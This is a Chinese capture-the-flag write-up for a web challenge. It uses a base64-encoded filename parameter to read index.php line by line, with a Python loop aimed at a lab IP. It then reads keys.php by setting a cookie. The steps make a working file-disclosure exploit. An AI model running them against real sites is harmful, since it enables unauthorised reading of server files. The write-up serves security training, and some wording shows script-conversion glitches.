題目連結
又有新東西啦
打開
發現沒啥用,檢視源碼也沒什麼
注意到URL上有一串類似base64編碼的東西
解碼
習慣性通路一下
那下面又該咋辦呢???
URL裡filename有參數,line沒有參數
要不試一試價格參數?
line=1,啥都沒有
注意到filename 的參數是base64編碼後的
那再把1,2,3編碼一波試試?
又回去了啥都沒有。。。
懵逼中。。。
看了一下别人的writeup
注意到一個邏輯
php解析的時候 line 表示的是行号,filename是對于檔案内容的讀取,是以,直接構造一個邏輯沖突,讓filename去讀自己即讀index.php
還是要編碼一下,畢竟filename都是編碼了的
于是
顯然随着line行數變化,代碼也出來了
這裡有兩種方式
第一種自己一次輸入行号,然後copy出來
第二種是用python寫個小腳本出來,就個人而言,選擇第二種好一些吧
附上腳本
import requests
a=30
for i in range(a):
url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
r=requests.get(url)
print (r.text)
找到的代碼
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
//看看這個地方!!!
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
代碼相關函數
?是條件語句
intval()
函數用于擷取變量的整數值
header()
函數向用戶端發送原始的 HTTP 報頭。這裡是跳轉到一個新位址
array()
建立一個新數組
file()
把檔案讀入數組
接下來構造
filename=a2V5cy5waHA=
Cookie:margin=margin
就行啦